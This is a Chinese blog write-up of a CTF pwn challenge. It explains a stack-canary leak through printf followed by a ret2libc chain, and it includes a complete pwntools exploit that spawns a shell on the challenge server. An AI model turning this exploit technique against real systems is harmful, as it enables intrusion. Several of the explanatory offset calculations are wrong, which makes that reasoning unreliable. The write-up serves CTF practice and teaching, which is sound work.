NSSCTF [2021 鹤城杯]littleof

Checksec & IDA

开启了Canary和NX,再来看看IDA中是怎样的。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sub_4006E2();
  return 0LL;
}
unsigned __int64 sub_4006E2()
{
  char buf[8]; // [rsp+10h] [rbp-50h] BYREF
  FILE *v2; // [rsp+18h] [rbp-48h]
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = stdin;
  puts("Do you know how to do buffer overflow?");
  read(0, buf, 0x100uLL);
  printf("%s. Try harder!", buf);
  read(0, buf, 0x100uLL);
  puts("I hope you win");
  return __readfsqword(0x28u) ^ v3;
}

很显然栈溢出漏洞位于read函数中,buf大小为0x50,而read函数的第三参数,也就是输出/写入/输出的最大的字节长度为0x100,就是2个buf大小的数据。

但是本题开启了Canary,因此我们不能直接进行栈溢出以及Ret2Libc攻击。

我们可以发现,我们输入的Payload会被第二段的printf打印出来。也就是说可以利用这个printf打印出来Canary,将Canary原封不动的归位,即可跳过检测。

printf("%s. Try harder!", buf);

Canary是位于EBP之前的一串随机数据,用来防止栈上的内容溢出进行某些危险攻击的。因此如果我们需要泄露Canary,我们可以这么构造Padding:

Padding = b'A' * ( 0x50 - 0x08 )

为什么是0x50 - 0x08?

我们都知道Canary 会在栈上添加一个随机值,以保护程序免受缓冲区溢出攻击,但是也会在栈上多占用一些空间。

也就是说:

假如我的 buf 大小为 0x50

如果是 64 位程序,那么 Canary 就会在栈上额外占用 0x08 的空间作为随机值。

也就是说 我的可用空间只有 0x42 。

开启 Canary : RBP 位于 0x50 + 0x08,Canary位于0x50 - 0x08,Return Address位于0x50 + 0x16

而 0x50 + 0x08 在不开启 Canary 的情况下是 Return Address 的地址

关闭 Canary : RBP 位于 0x50,Return Address位于0x50 + 0x08

这时候的 0x50 + 0x08 是 Return Address 的地址。

因此泄露Canary的Payload如下:

Padding = b'A' * ( 0x50 - 0x08 )

io.recvuntil(b'overflow?')
Payload_Canary = Padding
io.sendline(Payload_Canary)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
Canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + (hex(Canary))) 

这里有72个A,代表了Padding。暂时还没搞懂为什么直接填Padding会报错无效。

\n 是换行符,因为我们使用的是sendline,会自动在结尾加上换行符。

为什么Canary是接收7个字节:

Paload发送了0x49个字节,总共0x50个字节,程序会把Canary放在变量起始位置,所以只需要接收7个,然后用一个0填充即可。

具体思路如下:

因为Canary是栈中的一个随机值,我们通过printf泄露Canary,然后将其填充至它本来应该在的位置,就能通过检查。

也就是泄露真实地址和getshell的Payload也得这样构造:

Payload_Leak = Padding + p64(Canary) + Padding_Ret + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

Payload_Shell = Padding + p64(Canary) + Padding_Ret + p64(ret) + p64(rdi) + p64(binsh) + p64(system)

Padding就是上文泄露Canary的Payload

Canary就是Canary的数据

Padding_Ret 代表覆盖原先栈上的 RBP

Ret 用来平衡栈帧

Rdi 用来存放 system 的第一个函数,也就是 /bin/sh 字符串的地址的。

接下来就是常规的Ret2Libc的解法,不多赘述。

EXP:

from pwn import *
from LibcSearcher import *

#io = process("/home/Kaguya/桌面/Pwn/littleof")
io = remote("1.14.71.254",28499)
elf = ELF("/home/Kaguya/桌面/Pwn/littleof")
context(log_level = 'debug',arch = 'amd64',os = 'linux')

rdi = 0x400863
ret = 0x40059E
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x400789

Padding = b'A' * ( 0x50 - 0x08 )
Padding_Ret = b'A' * 0x08

io.recvuntil(b'overflow?')
Payload_Canary = Padding
io.sendline(Payload_Canary)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
Canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + (hex(Canary)))


Payload_Leak = Padding + p64(Canary) + Padding_Ret + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b'Try harder!',Payload_Leak)
addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.success("Real Address: " + (hex(addr)))

# Local
#ibc = LibcSearcher('puts',addr)
#base = addr - libc.dump('puts')
#system = base + libc.dump('system')
#binsh = base + libc.dump('str_bin_sh')

# Remote
base = addr - 0x080aa0
system = base + 0x04f550
binsh = base + 0x1b3e1a

io.recvuntil(b'overflow?')
Payload_Canary = Padding
io.sendline(Payload_Canary)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
Canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + (hex(Canary)))

Payload_Shell = Padding + p64(Canary) + Padding_Ret + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendlineafter(b'Try harder!',Payload_Shell)
io.interactive()

平台的libc和本地算出来是不一样的,平台的libc是libc6_2.27-3ubuntu1.4_amd64

本地是 libc6_2.31-0ubuntu9.9_amd64

每个人环境不同,但是本地的偏移是打不通平台的,需要去libc database search网站查找libc6_2.27-3ubuntu1.4_amd64的偏移地址

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值